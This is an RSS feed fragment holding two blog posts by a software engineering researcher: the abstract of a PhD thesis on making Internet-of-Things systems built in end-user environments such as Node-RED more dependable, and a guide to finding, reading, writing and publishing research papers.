      <description>&lt;p&gt;Today, 1 April of 2022, I have successfully defended my PhD thesis work on Software Engineering and Internet-of-Things entitled “Increasing the Dependability of Internet-of-Things Systems in the context of End-User Development Environments”. Here follows the abstract.&lt;/p&gt;

&lt;h2&gt;
  
  
  Abstract
&lt;/h2&gt;

&lt;p&gt;The ubiquitousness of computing, known as Internet-of-Things (IoT), has reshaped the way people interact with the physical world. However, the scale, distribution — both logical and geographical —, density, heterogeneity, interdependence, and {quality-of-service} requirements of these systems make them complex, posing several challenges from both operational and development viewpoints.&lt;/p&gt;

&lt;p&gt;While there is a consensus that the widely used software engineering practices are inadequate for IoT development, they remain the go-to solutions for most practitioners. This aspect has severely compromised their dependability, centralizing most of the computation of these (soft) real-time systems in cloud infrastructure. Likewise, as these systems scale in terms of devices and applications, it outreaches existing technical resources to manage and operate them, becoming of paramount importance, making them as most self-managed as possible while empowering the ability of system operators (including end-users) to configure and understand them — mainly using solutions that do not require high technical expertise, &lt;em&gt;viz&lt;/em&gt; low-code development solutions — including the configuration of fail-safe measures.&lt;/p&gt;

&lt;p&gt;This dissertation’s primary focus is to research how to improve the current status quo on the dependability of IoT. However, this is a manifold endeavor: (1) what are the best practices for developing IoT dependably, and what is their scientific soundness, (2) do the current solutions give the fundamental building blocks that allow to design and construct dependable systems, and, if not, what contributions are needed to overcome the existing limitations, and, lastly, (3) giving that these systems are operated by humans with limited technical expertise, it is required that their users can use and configure them without compromising their correct operation. As we set ourselves to tackle these challenges, we claim that:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;It is possible to enrich IoT-focused end-user development environments in such a way that the resulting systems have a higher dependability degree, with the lowest impact on the know-how of the (end-)users.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As preliminary research, to understand what end-users want to automate and how they wish to perform such automations, a study was carried to collect automation scenarios. These scenarios showcased the complexity of the automations that some end-users want to perform and the interdependencies between different information sources, devices, and persons. It also supported the view that some of the appliances that end-users want to automate can have nefarious effects if a malfunction happens or a misconfiguration is performed.&lt;/p&gt;

&lt;p&gt;We followed extensive literature research and experimental process to &lt;em&gt;mine&lt;/em&gt; a set of patterns that can be used to improve IoT systems by making them more dependable, documenting them as &lt;em&gt;patlets&lt;/em&gt;, which summarily describe solutions that address some particular problem within a specific context. We further studied a subset of these patterns as a &lt;em&gt;self-healing&lt;/em&gt; pattern language that contemplates the use of more than one pattern in tandem to address systems’ operational concerns autonomically.&lt;/p&gt;

&lt;p&gt;Adopting these patterns depends on supporting foundations, which include architectural and functional aspects of the target systems. A key aspect is that most of the current solutions do not provide any features to readjust their intrinsic behaviors during runtime — with the software that runs on edge devices being mostly set on stone, delegating all the computational needs to cloud-based services. The research on fog and edge computing attempt to mitigate this by leveraging computational resources across architectural tiers, making the resulting systems more dependable and improving their scalability. Taking on these foundations, we explored and asserted the feasibility of using serverless functions in the IoT context, optimizing the choice of execution contexts according to a priori preferences, constraints, and latencies.&lt;/p&gt;

&lt;p&gt;To understand how these paradigms can be leveraged in widely used solutions, we select the open-source Node-RED solution as the experimental base, given its popularity. It provides a visual programming interface that increases its target user base across different expertise levels. Like other available solutions, Node-RED does not provide any feature that allows it to orchestrate tasks across devices or deal with system parts’ failures, limiting the dependability of systems built with it. Nonetheless, given its open-source and extensible nature, we proceed to address some of its limitations. We proceed to evaluate empirically, both in virtual and physical setups, the feasibility of using Node-RED as an orchestrator, where computational tasks are allocated to the available resources, and failures are mitigated by re-orchestrating as devices fail and recover. We also implemented a set of extensions for Node-RED that allows one to enrich the existing programs (&lt;em&gt;i.e.&lt;/em&gt;, flows) with self-healing capabilities — allowing the detection errors of different parts during runtime, and readjust its behavior to keep delivering correct service by recovering to normal operation, or, at least, maintain its operation within acceptable Quality-of-Service levels.&lt;/p&gt;

&lt;p&gt;As IoT users have different expertise levels, we also attempt to improve the interaction with these systems in a way that the users can understand what the configured automations are (&lt;em&gt;viz&lt;/em&gt; inspection), how it is behaving (&lt;em&gt;viz&lt;/em&gt; observability and feedback), and increase their capability to know what was the possible cause behind certain events (&lt;em&gt;viz&lt;/em&gt; causality). In the first study, we extended the visual notations and functionalities of Node-RED to improve the development process using it. We proceed to empirically evaluate the performance of our solution against a non-modified version of Node-RED, observing statistically significant improvements in the users’ ability to evolve existing IoT deploys. Lastly, we explored the use of voice assistants as an alternative way of configuring, understanding, and interacting with IoT-enriched environments, with a particular focus on the ability of a user to understand the cause behind some events. We assert the feasibility of our solution by covering all the different automation possibilities that Node-RED supports, with a considerable extension of the interaction possibilities due to multi-message dialogs support. We proceeded to empirically validate the feasibility of users using the voice assistant to complete different tasks, and all the users were able to finish the tasks. While some valid sentences were incorrectly recognized, forcing the user to repeat their intent, participants expressed a preference for voice interfaces over visual ones in terms of subjective perception.&lt;/p&gt;

&lt;p&gt;These contributions materialize into a core set of building blocks that, in assemble, can be used to improve the dependability of IoT systems while leveraging abstractions that do not hinder the (end-)user capability to configure, use, and evolve them. The experimental counterparts of the contributions provide empirical supporting evidence for the plausibility of the hypothesis.&lt;/p&gt;

</description>
      <category>research</category>
      <category>phd</category>
      <category>engineering</category>
      <category>software</category>
    </item>
    <item>
      <title>Notes on (Software Engineering) Research</title>
      <dc:creator>JP Dias</dc:creator>
      <pubDate>Wed, 01 Dec 2021 00:00:00 +0000</pubDate>
      <link>https://dev.to/jpdias/notes-on-software-engineering-research-e48</link>
      <guid>https://dev.to/jpdias/notes-on-software-engineering-research-e48</guid>
      <description>&lt;p&gt;Now that I’ve finally delivered my PhD thesis (awaiting public defense), and after sharing for more than 3 years my tools, strategies, and tips for surviving in the academic world by word of mouth, I have finally got the time — and energy — to put this in a written form.&lt;/p&gt;

&lt;p&gt;While I will try to present these tips and hints in a way they are common to most research fields in computer science, a bias will exist towards software engineering and Internet-of-Things research. This post will be split into 5 parts. Gather will focus on the means to gather knowledge, find relevant research challenges and pending issues, discover trends, and keep up-to-date with the latest publications. Systematize will describe the means by which one can be more &lt;em&gt;efficient&lt;/em&gt; reading and summarizing published works. Apply presents the tools for writing, evolving, and maintaining documents, papers, thesis, etc. Publish and Broadcast focuses on the publishing process and broadcasting &lt;em&gt;your own work&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;I will try to be as concise as possible, mostly pointing to external resources. If you want some tips and tricks from a &lt;em&gt;process&lt;/em&gt; view, I recommend the paper &lt;a href="https://dl.acm.org/doi/10.1145/3361149.3361184"&gt;Towards a pattern language for the masters student&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gather
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;“As knowledge grows in a specific area, solutions are captured and documented by experts in books, research papers, concrete implementations, web pages, and a myriad of other types of communication media. While we may intuitively think that any growth in the body of knowledge implies better design choices, it seems that the way (and the amount) this knowledge is being captured raises an important issue per-se.” — Hugo Sereno Ferreira&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You are new, and you are lost. How can you merely grasp what is going on? Even if you have a research field and something closer to a &lt;em&gt;research topic&lt;/em&gt;… how can you sail the vast sea of literature?&lt;/p&gt;

&lt;h3&gt;
  
  
  Newsletters and other news feeds/aggregators are a good start, a few examples:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="http://sigsoft.org/resources/seworld.html"&gt;ACM SIGSOFT SEWorld&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blockchaininbrief.org"&gt;Blockchain in brief&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://catless.ncl.ac.uk/Risks/"&gt;The Risks Digest&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/papers-we-love/papers-we-love"&gt;Papers We Love (PWL)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  From a technology viewpoint, knowing current market trends is fundamental:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Gartner &lt;a href="https://www.gartner.com/en/research/methodologies/gartner-hype-cycle"&gt;Hype Cycles&lt;/a&gt; (technology-wise) and &lt;a href="https://www.gartner.com/en/research/magic-quadrant"&gt;Magic Quadrants&lt;/a&gt; (enterprise-wise) are a good high-level view on the current market directions. 

&lt;ul&gt;
&lt;li&gt;Example for &lt;a href="https://wwwprimekeycom.cdn.triggerfish.cloud/uploads/2020/09/iot-hype-cycle.png"&gt;IoT, 2020&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;This analysis is based on internal studies and market analysis and should not be considered &lt;em&gt;ground truth&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.statista.com/"&gt;Statista&lt;/a&gt; is also another known provider of market and consumer data, being an acceptable source of adoption metrics and other studies. 

&lt;ul&gt;
&lt;li&gt;Example for &lt;a href="https://www.statista.com/topics/2637/internet-of-things/#dossierKeyfigures"&gt;IoT&lt;/a&gt;, including market size, number of connected devices, etc. Includes forecasts and trend analyses.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  From a &lt;em&gt;practice&lt;/em&gt; viewpoint:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.thoughtworks.com/radar"&gt;Technology Radar&lt;/a&gt; by ThoughtWorks is a known source for finding the current adoption stages of different tools and methods. 

&lt;ul&gt;
&lt;li&gt;An &lt;a href="https://opensource.zalando.com/tech-radar/"&gt;alternative radar&lt;/a&gt; is maintained by Zalando.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://octoverse.github.com/"&gt;GitHub Octoverse&lt;/a&gt; contains data about the GitHub community (e.g., most used IDE, languages, etc.)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.jetbrains.com/lp/devecosystem-2021/"&gt;JetBrains Developer Ecosystem&lt;/a&gt; contains data about the JetBrains developer community (e.g., most used languages, frameworks, etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  From a scientific literature viewpoint:
&lt;/h3&gt;

&lt;p&gt;There are two big blobs of literature: (1) the scientific, published, and peer-reviewed literature and (2) the grey literature, consisting of any written resource (e.g., websites, posts, etc.).&lt;/p&gt;

&lt;p&gt;For scientific literature, the first go-to solution is the &lt;em&gt;big&lt;/em&gt; scientific indexers, the most well-known being:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.webofscience.com/"&gt;Web of Science&lt;/a&gt;, which is behind a paywall&lt;sup id="fnref:1"&gt;1&lt;/sup&gt;, but is one of the most used indexes (most universities have access to it).&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.scopus.com/"&gt;Scopus&lt;/a&gt;, another well-known indexer, also behind a paywall&lt;sup id="fnref:1:1"&gt;1&lt;/sup&gt;. Once again, most universities have access to it.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://scholar.google.com/"&gt;Google Scholar&lt;/a&gt;, one of the most widely used indexers but with dubious indexing process (any PDF public stored in a university network is indexed). Use with caution. Most of the time, systematic literature reviews&lt;sup id="fnref:2"&gt;2&lt;/sup&gt; made using Google Scholar is not considered valid.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Another solution is to search directly within the digital libraries of specific publishers (being limited to the papers published by them): &lt;a href="https://ieeexplore.ieee.org/"&gt;IEEEXplore&lt;/a&gt;, &lt;a href="https://dl.acm.org/"&gt;ACM Digital Library&lt;/a&gt;, &lt;a href="https://www.elsevier.com/search-results"&gt;Elsevier&lt;/a&gt;, and others. Most of the time, the access to the full papers is behind a paywall&lt;sup id="fnref:1:2"&gt;1&lt;/sup&gt;, with a few being open access. Once again, most universities pay for full access.&lt;/p&gt;

&lt;p&gt;Searching in pre-print servers also provides good insights on unpublished (or yet to be published) research, &lt;a href="https://arxiv.org/"&gt;arXiv&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  From a scientific jobs market (e.g. scholarships) viewpoint:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://computeroxy.com/"&gt;Computeroxy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://academicpositions.com/"&gt;Academic Positions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.euraxess.pt/"&gt;EURAXESS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Systematize
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;“We are drowning in information but starved for knowledge.” — John Naisbitt&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Too many times, I’ve read full articles just to find out that the paper is poorly done or that it does not provide any new insight nor raises relevant research questions. While there is no &lt;em&gt;silver-bullet&lt;/em&gt; to avoid this, one can make efforts to reduce the number of times it happens. Here goes a list of &lt;em&gt;steps&lt;/em&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Prioritize surveys over normal papers in the early stages of your research, given that someone already has summarized the existent works for you.&lt;/li&gt;
&lt;li&gt;Read papers from relevant and solid sources first. This includes highly reputed conferences and journals (more about it in Publish).&lt;/li&gt;
&lt;li&gt;If the paper is badly formatted — e.g., with missing figures and &lt;em&gt;really&lt;/em&gt; badly written — avoid it (and revisit if you do not find anything else relevant to your search).&lt;/li&gt;
&lt;li&gt;If a paper does not have an &lt;em&gt;experiments &amp;amp; results&lt;/em&gt; section, give it a low priority. Most of the time, these papers only present ideas or early-stage research that lacks validation.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now that you have only 999+ papers to read, a reference/paper manager becomes crucial. I have been using &lt;a href="https://www.mendeley.com/autoupdates/installers/1.19.3"&gt;Mendeley Desktop (old version)&lt;/a&gt; for long as it provides reference management, PDF organization, and notes with synchronization capabilities. However, some other alternatives exist including &lt;a href="https://www.zotero.org/"&gt;Zotero&lt;/a&gt; which appears similar, &lt;a href="https://paperpile.com/"&gt;Paperpile&lt;/a&gt;, and &lt;a href="https://app.readcube.com/"&gt;Papers by ReadCube&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Tools setup done. Now to the reading part. A flowchart by &lt;a href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3687192/"&gt;Subramanyam et al.&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌───────────────────────────────────────────────────────┐ ┌────┐
│Is the Title related to the topic that I'm looking for?├───────────────────► NO │
│Does it have the keywords which I have in mind? │ └─┬──┘
└───────────────────────┬───────────────────────────────┘ │
                        │ │
                     ┌──▼──┐ ┌─────────▼──────────┐
                     │ YES │ │Skip the article and│
                     └──┬──┘ │go to the next one │
                        │ └─────────▲──────────┘
      ┌─────────────────▼──────────────────────┐ │
      │Read the Abstract / Summary / Conclusion│ │
      └─────────────────┬──────────────────────┘ │
                        │ │
           ┌────────────▼─────────────────┐ │
           │Clear-cut aims and objectives?│ │
           └────────────┬─────────────────┘ │
                        │ │
          ┌─────────────▼───────────────────┐ │
          │Well-defined research hypothesis?│ │
          └─────────────┬───────────────────┘ │
                        │ │
          ┌─────────────▼───────────────────┐ │
          │Are the conclusions precise? │ │
          └─────────────┬───────────────────┘ │
                        │ │
 ┌──────────────────────▼──────────────────────────────────┐ ┌─┴──┐
 │Is the above useful or relevant to what I am looking for?├───────────────►| NO │
 └──────────────────────┬──────────────────────────────────┘ └────┘
                        │
                        │
                     ┌──▼──┐
                     │ YES │
                     └──┬──┘
                        │
            ┌───────────▼────────────┐
            │Read the entire article.│
            └────────────────────────┘

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Other useful tips and hints on reading articles &lt;a href="https://web.stanford.edu/class/ee384m/Handouts/HowtoReadPaper.pdf"&gt;How to Read a Paper&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Take notes!
&lt;/h3&gt;

&lt;p&gt;Use markdown. Make backups. Maintain a logbook.&lt;/p&gt;

&lt;p&gt;Suggestions: &lt;a href="https://obsidian.md/"&gt;Obsidian&lt;/a&gt;, &lt;a href="https://www.notion.so/"&gt;Notion&lt;/a&gt;, &lt;a href="https://typora.io/"&gt;Typora&lt;/a&gt;, &lt;a href="https://standardnotes.com/"&gt;Standard Notes&lt;/a&gt;, &lt;a href="https://joplinapp.org/"&gt;Joplin&lt;/a&gt;, …&lt;/p&gt;

&lt;p&gt;For collaborative quick notes: &lt;a href="https://hackmd.io/"&gt;hackmd&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Mindmaps
&lt;/h3&gt;

&lt;p&gt;Create mindmaps of ideas, subjects, and lines of research.&lt;/p&gt;

&lt;p&gt;Suggestions: &lt;a href="https://www.mindmeister.com/"&gt;Mindmap&lt;/a&gt;, &lt;a href="https://www.xmind.net/"&gt;Xmind&lt;/a&gt;,…&lt;/p&gt;

&lt;h2&gt;
  
  
  Apply
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;“You don’t start out writing good stuff. You start out writing crap and thinking it’s good stuff, and then gradually, you get better at it. That’s why I say one of the most valuable traits is persistence.” — Octavia E. Butler&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now that you’re up-to-date on the current state-of-the-art, and you have found out that 99.9% of your ideas are already published, you take that 0.1% and put it into action. This is a multi-stage process depending on the work/idea/challenge/issue/whatever, but there are a few common points that can be grasped by analyzing a typical paper structure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use LaTeX&lt;/strong&gt;. For articles and small reports, &lt;a href="https://www.overleaf.com/"&gt;Overleaf&lt;/a&gt; is a good option. For large projects, &lt;a href="https://milq.github.io/install-latex-ubuntu-debian/"&gt;install LaTeX locally&lt;/a&gt;. For most code editors, aiding extensions exist, such as &lt;a href="https://marketplace.visualstudio.com/items?itemName=James-Yu.latex-workshop"&gt;LaTeX Workshop&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;When writing, &lt;a href="https://www.chem.ucla.edu/dept/Faculty/merchant/pdf/Word_Usage_Scientific_Writing.pdf"&gt;avoid certain words and expressions&lt;/a&gt;, and &lt;a href="https://sites.psu.edu/pubhub/wp-content/uploads/sites/36309/2016/04/WordsandPhrasestoAvoid.pdf"&gt;this&lt;/a&gt;, and &lt;a href="https://www.webpages.uidaho.edu/wlf314/lecture_notes/PDF/word%20usage.pdf"&gt;this&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Abstract
&lt;/h3&gt;

&lt;p&gt;Here goes the summary of the paper. Little context, the main challenge, main contribution. It should be supported by numbers or other evidence in a clear and direct form.&lt;/p&gt;

&lt;p&gt;Typically, here goes the keywords too. Optimize those keywords to be concrete and &lt;em&gt;common&lt;/em&gt; since they play a crucial role in the indexing services as they can use them to pick or not your paper amongst the sea of literature.&lt;/p&gt;

&lt;h3&gt;
  
  
  Introduction
&lt;/h3&gt;

&lt;p&gt;Here goes the bedtime story. What’s the context and motivation of your work? Is the motivation supported by other authors? What is the concrete problem to be tackled? What are the methods and mechanisms that will be used? What are the main contributions and observations? And what is the paper structure?&lt;/p&gt;

&lt;p&gt;Here is a good place to clearly state your problem, including any existing hypothesis, research questions, and others. Also, point to what metrics/aspects will be used to validate your research.&lt;/p&gt;

&lt;h3&gt;
  
  
  Related Work
&lt;/h3&gt;

&lt;p&gt;There are, for sure, a good amount of works that are related to your &lt;em&gt;very specific&lt;/em&gt; thing. Read them. Cite them. Criticize them. Compare the different works (use tables, charts, etc.). Find your &lt;em&gt;very specific thing&lt;/em&gt; that makes your work valuable and differentiates it from the rest. Remember key points, and, if possible, compare the results of other works with your own observations. Sometimes &lt;em&gt;Related Work&lt;/em&gt; can appear later in the paper, but it’s not so common…&lt;/p&gt;

&lt;p&gt;In some cases, Related Work can be preceded by a &lt;em&gt;Background&lt;/em&gt; / &lt;em&gt;Preliminaries&lt;/em&gt; section where you present the key concepts that the reader needs to grasp in other to understand the following work.&lt;/p&gt;

&lt;h3&gt;
  
  
  Approach Overview
&lt;/h3&gt;

&lt;p&gt;What did you do? What is the architecture of your thing? If there are any mathematical formulations or algorithms that should be presented, here is the spot. Try to follow some &lt;a href="https://onlinelibrary.wiley.com/doi/pdf/10.1002/0470029757.app1"&gt;pseudo-code conventions&lt;/a&gt;. If you are presenting math, clearly present the meaning of all the uncommon symbols that are used on your equations. If there are any software-related diagrams, try to follow UML if possible. &lt;a href="https://app.diagrams.net/"&gt;Draw.io is your friend&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Always have an &lt;em&gt;anonymous&lt;/em&gt; replication code package with &lt;em&gt;some&lt;/em&gt; documentation and meta-data, including &lt;em&gt;how to setup?&lt;/em&gt; and &lt;em&gt;how to run?&lt;/em&gt; . If you have used Git, there are some services that automatically anonymize your repository, e.g. &lt;a href="https://anonymous.4open.science/"&gt;anonymous.4open.science&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Implementation Details
&lt;/h3&gt;

&lt;p&gt;This is optional. But, if you faced some esoteric issues when implementing your approach, maybe it’s best to document them. Here goes code snippets, technologies, and other detail that were not the focus of the &lt;em&gt;approach&lt;/em&gt; but did have an impact on your work. Always use correct code syntax and clear highlight.&lt;/p&gt;

&lt;h3&gt;
  
  
  Experiments and Results
&lt;/h3&gt;

&lt;p&gt;Is your solution the &lt;em&gt;best around&lt;/em&gt;? How will you validate it? What is the methodology/design of the experiments? What is the configuration of the validation testbed (computer details, etc.)? In the case of &lt;em&gt;human&lt;/em&gt; participants, do not forget to gather information about their experience/background.&lt;/p&gt;

&lt;p&gt;Collect as many metrics/data points as possible, even if you don’t know if they are going to be useful in the future. Store all of the information in a way that it’s easily handled (e.g., CSV files), and never trust your computer with those valuable files — always keep a cloud-based backup.&lt;/p&gt;

&lt;p&gt;Use and &lt;em&gt;abuse&lt;/em&gt; of visualizations. Charts, tables, and other relevant visualizations make the data — and your results — easier to understand. Use readily available software to do this analysis, e.g. &lt;a href="https://colab.research.google.com/notebook"&gt;Google Colab Python Notebooks&lt;/a&gt;, &lt;a href="https://www.ibm.com/analytics/spss-statistics-software"&gt;IBM SPSS&lt;/a&gt;, or good old Excel or Google Sheets.&lt;/p&gt;

&lt;p&gt;Always verify the statistical significance (&lt;em&gt;p&lt;/em&gt;-value) of your results using the appropriate methods, &lt;a href="https://en.wikipedia.org/wiki/Statistical_significance"&gt;more info&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Once again, provide replication packages. For data and experiments use &lt;a href="https://zenodo.org/"&gt;zenodo&lt;/a&gt; (it has &lt;a href="https://docs.github.com/en/repositories/archiving-a-github-repository/referencing-and-citing-content"&gt;direct integration with GitHub&lt;/a&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  Discussion
&lt;/h3&gt;

&lt;p&gt;Here goes a critical analysis of your results and what they mean. If possible, compare the results with existing literature justifying differences in the results. Use additional visualizations if needed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Threats to Validity
&lt;/h3&gt;

&lt;p&gt;There are several factors, especially in software engineering, that might influence your results. Typically, these threats are split into the internal and external validity of the experiment. Clearly present the possible threats (e.g., bias) that exist in your research methodology and discuss the effort carried to mitigate or reduce the impact of these threats. More about threats to validity: &lt;a href="https://web.pdx.edu/~stipakb/download/PA555/ResearchDesign.html"&gt;Threats to validity of Research Design&lt;/a&gt;, &lt;a href="https://sphweb.bumc.bu.edu/otlt/mph-modules/programevaluation/ProgramEvaluation6.html"&gt;Internal and External Validity&lt;/a&gt;, and &lt;a href="https://cyfar.org/ilm_3_threats"&gt;Threats to Validity of your Design&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusions
&lt;/h3&gt;

&lt;p&gt;Here goes a highlight of the most important takeaways of your article. Also, point to limitations and future work / open research challenges.&lt;/p&gt;

&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;p&gt;References are hard to manage. Maintain your Mendeley up-to-date (Overleaf as a direct Mendeley integration). If you keep your Bibtex manually, use a linter from time to time, e.g. &lt;a href="https://flamingtempura.github.io/bibtex-tidy/"&gt;Online BibTeX Tidy - Clean up BibTeX files&lt;/a&gt; and &lt;a href="https://caltechlibrary.github.io/bibtex/webapp/"&gt;BibTeX tools&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Publish
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Publish or Perish. — Authors et al.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now that you have your research done, your paper written, it is time to publish. But where? What is the most suitable venue? Is it relevant? Is it predatory (also known as pay-to-publish in some shady and badly indexed website)?&lt;/p&gt;

&lt;p&gt;Search for good venues, take into account well-known rankings. For journals, &lt;a href="https://www.scimagojr.com/"&gt;Scimago Journal &amp;amp; Country Rank&lt;/a&gt; (Q1 -&amp;gt; Q2 -&amp;gt; Q3 -&amp;gt; Q4 -&amp;gt; nothing important) is golden rule. For conferences, use &lt;a href="http://portal.core.edu.au/conf-ranks/"&gt;CORE&lt;/a&gt; (A* -&amp;gt; A -&amp;gt; B -&amp;gt; C -&amp;gt; nothing important). Some conferences have good workshops and other side events, but they are not taken into account by rankings (if you care about publishing even in workshops, always check if the workshops are part of the proceedings or any companion of the conference).&lt;/p&gt;

&lt;p&gt;Other ranks can be useful, such as &lt;a href="https://scholar.google.com/citations?view_op=top_venues&amp;amp;hl=en&amp;amp;vq=eng"&gt;G. Scholar Rankings&lt;/a&gt; and &lt;a href="https://research.com/"&gt;Research.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As a complement, search in websites such as &lt;a href="https://easychair.org/cfp/"&gt;EasyChair&lt;/a&gt;, &lt;a href="http://www.wikicfp.com/"&gt;WikiCFP&lt;/a&gt;, and create an account at &lt;a href="https://www.myhuiban.com/"&gt;Conference Partner&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If the conference/journal lets you publish a pre-print, publish it as soon as the paper is accepted in the &lt;a href="https://phdcomics.com/"&gt;arXiv&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Broadcast
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;“If a tree falls in a forest and no one is around to hear it, does it make a sound?” — maybe George Berkeley&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You have finished your paper, and it is now published. But will somebody read it? While you can’t force anyone to read it, you can increase the probability of it happening. Some key points:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Publish a tweet with the paper title, authors, and, if possible, some key takeaways;&lt;/li&gt;
&lt;li&gt;Create and maintain a personal website with all your research content, with URLs to the papers and abstracts;&lt;/li&gt;
&lt;li&gt;Create and maintain your personal research accounts: 

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://scholar.google.com/"&gt;Google Scholar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.authenticus.pt/"&gt;Authenticus (in Portugal)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://orcid.org/"&gt;ORCiD&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.elsevier.com/solutions/scopus/why-choose-scopus/author-profiles"&gt;Claim your Scopus&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.acm.org/publications/acm-author-profile-page"&gt;Claim your ACM Profile&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://publons.com/about/home/"&gt;Publons&lt;/a&gt; (It is also useful to keep track of the peer reviews)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.researchgate.net/"&gt;ResearchGate&lt;/a&gt; (It works like a social network, follow researchers in your research field)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://academic.microsoft.com/"&gt;Microsoft Academic&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Participate and present your work when possible. Go to &lt;a href="https://www.meetup.com/home/"&gt;meetups&lt;/a&gt; and other informal gatherings. Advertise, advertise, advertise…&lt;/p&gt;

&lt;p&gt;And that’s it. I hope you take some new info from this! If not, go have some fun: &lt;a href="https://xkcd.com/"&gt;xkcd&lt;/a&gt; and &lt;a href="https://phdcomics.com/"&gt;PHD Comics&lt;/a&gt;.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://incubator.rockefeller.edu/skirting-around-paywalls-how-scientists-quickly-get-the-articles-they-need/"&gt;Skirting Around Paywalls: How Scientists Quickly Get the Articles They Need&lt;/a&gt;. More info &lt;a href="https://en.wikipedia.org/wiki/ICanHazPDF"&gt;#ICanHazPDF&lt;/a&gt;, &lt;a href="https://en.wikipedia.org/wiki/Sci-Hub"&gt;Sci-Hub&lt;/a&gt;, and &lt;a href="https://en.wikipedia.org/wiki/Library_Genesis"&gt;The Library Genesis Project&lt;/a&gt;. ↩ ↩&lt;sup&gt;2&lt;/sup&gt; ↩&lt;sup&gt;3&lt;/sup&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://libguides.umn.edu/systematicreviews"&gt;Conducting a Systematic Review&lt;/a&gt; and &lt;a href="http://prisma-statement.org/"&gt;Preferred Reporting Items for Systematic Reviews and Meta-Analyses&lt;/a&gt; ↩&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>research</category>
      <category>phd</category>
      <category>engineering</category>
      <category>software</category>
    </item>
  </channel>
</rss>
